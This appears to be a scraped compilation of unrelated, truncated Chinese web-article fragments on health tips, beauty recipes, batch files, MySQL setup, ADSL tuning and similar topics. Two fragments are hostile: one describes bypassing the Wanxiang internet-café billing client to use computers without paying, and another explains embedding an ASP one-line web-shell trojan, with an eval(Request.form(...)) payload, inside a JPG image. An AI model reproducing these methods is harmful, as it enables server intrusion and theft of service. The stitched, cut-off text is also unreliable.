危险方式1：极度缺乏体育锻炼 在932名被调查者中，只有96人每周都固定时间锻炼，68%的人选择了“几乎不锻炼”。这极易造成疲劳、昏眩等现象，引发肥胖和心脑血管疾病。危险方式2：有病不求医 调查显示，将近一半的人在有病时自己买药解决，有1/3的人则根本不理会任何表面的“小毛病”。许多上班一族的疾病被拖延，错过了最佳的治疗时间，一些疾病被药物表面缓解作用掩盖而积累成大病。危险方式3：缺乏主动体检 932人中，有219人从来不体检。 危险方式4：不吃早餐 随着工作节奏加快，吃上符合营养要求的早餐已经成为办公室白领的奢求。被调查者中，只有219人是有...

破解万象秘笈  　　一 用Alt+Ctrl+Del组合键（万象）  　　开机后，当出现蓝背景时，立即按组合键，弹出“关闭程序”对话框，若里面有“client”后则立即关闭，当发现“未知”程序时也要关闭，因为万象会启动两次。万象被结束了，当然就没有那个讨厌的输入会员卡号的对话框了，那就免费啦！  　　不过聪明的老板会从主机上看到你的机子处于待机状态，而你却在玩，那可就不好啦！ 还是小心为上啊！！  　　二 利用输入法漏洞（万象）  　　1 用微软输入法&nb...

1.名称：如何制作图片ASP木马 （可显示图片） 建一个asp文件，内容为<!--＃i nclude file="ating.jpg"--> 找一个正常图片ating.jpg，插入一句话木马（比如冰狐的）,用ultraedit进行hex编译，插入图片里，为 了运行成功，还要搜索<%和％>,将其变为00,(不要替换自己asp的),再把jpg文件开头加入 <SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form(#...

以下介绍的中医妙方能够针对你对“白”的不同需要，让你慢慢地把气色调整过来 　　正所谓“一白遮三丑”，皮肤白皙娇嫩的女人，通常能获得较多的疼惜，所以管它流行什么健康肤色、巧克力妆，总还是有一批“白就是美”的死忠派坚决抢“白”！以下介绍的中医妙方，具有美容养颜的功效，能够针对你对“白”的不同需要，让你慢慢地把气色调整过来。 　　●针对面色苍白：蜜汁花生枣粥 　　养颜原理：红枣补气，花生衣补血，花生肉滋润，蜂蜜补气，综合生效使面色红润。 　　做法：把红枣和花生米用温水泡后放入锅中加水适量，小火煮到熟软，再加入蜂蜜食用。 　　●针对面容黑黯：栗子白菜煲...

在我们写批处理的时候，我们经常使用echo (Alt+7) 来发出一个简单的声音，但是我们编写一个复杂点的批处理文件的时候可能需要得到不同的警示声音，我们可以使用mplay32来实现，让他为我发音后然后关闭。你只要在你的批处理文件中加入以下一行即可：  mplay32.exe /play /close c:\winnt\media\ringin.wav我们就能听到悦耳的电话铃声，接着mplay32会关闭。    如果你的.wav文件是自己录制的声音就更加cool了～批处理就可以说话了！...

增加validate-ajax以支持ajax验证 增加validate-pattern直接通过正则表达式的认证 修改validate-equlas以验证密码与确认密码的问题 增加less-than与great-than的验证以支持开始日期与结束日期相比较的问题 增加validation之间内部依赖的支持, 欢迎大家提出改进,以便框架完成的更好如果需要,我会在将来开发出与服务端结合的开发框架,如struts and struts2 并且感谢原作者这么棒的Idea: http://tetlaw.id.au/v...

大家都在用google，你用中文系统打开google的首页，打开的自然是中文首页，而不会是其他语言。因为google会自动判断用户系统使用的首选语言是什么。 怎样才能做到像google那样呢，其实很简单， 在浏览器发给web服务器的 HTTP Headers Information 中包含了这样一个信息 Accept-Language 这个信息就是，浏览器中 工具->Internet选项->常规 下的 语言， 它就是用来设置浏览器可接受的语言首选项的， ...

作为一名PHP+MYSQL(其它数据库)程序员,你可能为了满足不同的需求,而需要在不同的数据库版本的环境中进行测试但正常的安装MYSQL,windows系统中只能存在一个版本的MYSQL数据库,所以要更改一下端口和系统服务中的服务名称就OK了安装顺序如下:1.先安装MYSQL4.0.X  因为这个版本的没有4.1和5.X的智能化,可以选择安装的服务名称,所以只好先安装4.0.X的了,也可以使用相反的顺序2.安装4.1或5.X,不分先后,因为可以选择安装的服务名称3.下载PHPMYADMIN 复制三份,分别更改端口$cfg['Servers'][$i]['port'...

今天YORK(不老歌站长)又去汇丰银行当了一回小白鼠；所以写出来，让大家下次收到少走弯路；google支票托收不是很麻烦；昨天去中国银行，排队的人太多，保安告诉我没有中国银行的账户还得新开一个，我说工商银行的账号可以吗，他说你有工商银行的账号就直接去工行兑就行了；我说工行能兑吗，他说能；于是我就跑到工行去了，一问人家说不行，得去中国银行，我又跑了回来；说明一下中国银行的工作时间：周一到周五；早九点到下午五点；（上海）六日休息；必须有中国银行的账号，没有就直接开一个；必须有身份证！不花钱；只要存一元钱就可以了；google支票托收有三张表，一填就可以了；手续费用30元人民币；到账时间不一定，我的...

通过ADSL拨号上网，已经成为众多个人用户的首选上网途径。尽管这种上网方式，要比传统的电话拨号上网速度快许多，不过这种速度离真正的宽带速度还有一定的距离。当然，如果我们能开动脑筋，从挖掘ADSL自身的潜力出发，还是有办法让ADSL跑得更快，甚至让其速度接近真正的宽带速度。不信的话，就请各位一起来看看下面的ADSl优化招法，相信在这些方法的指导下，ADSL上网速度要比平时快许多。　　　　1、启用数据分包功能　　大家知道，如果在网上传输大容量数据信息时，你会发现ADSL此时的上网速度将非常缓慢；相反，如果你在网上传输小容量的数据信息时，你将觉得ADSL的上网速度变得非常快。根据这样的原理，你可以启...

对于Windows98用户来说，当我们在工作中有事情需要离开自己的电脑时，可以使用“Ctrl+Alt+Del”组合键锁定电脑，但如果其他人关闭电脑并重新启动后，仍然可以登录，这就使得锁定计算机变得毫无意义。不过，我们可以使用“超级桌面锁定器”来帮我们真正锁定计算机：从http://www.viphot.com/SoftView/SoftView_14725.html下载“超级桌面锁定器”压缩包，解压后直接运行软件，其主界面如图所示。选中“退出锁定时需要输入解锁口令”前的复选框，输入新口令(默认口令为“sys”)，按下Esc键，软件就自动缩小到任务栏右下角的系统托盘处。当我们需要离开计算机时，用...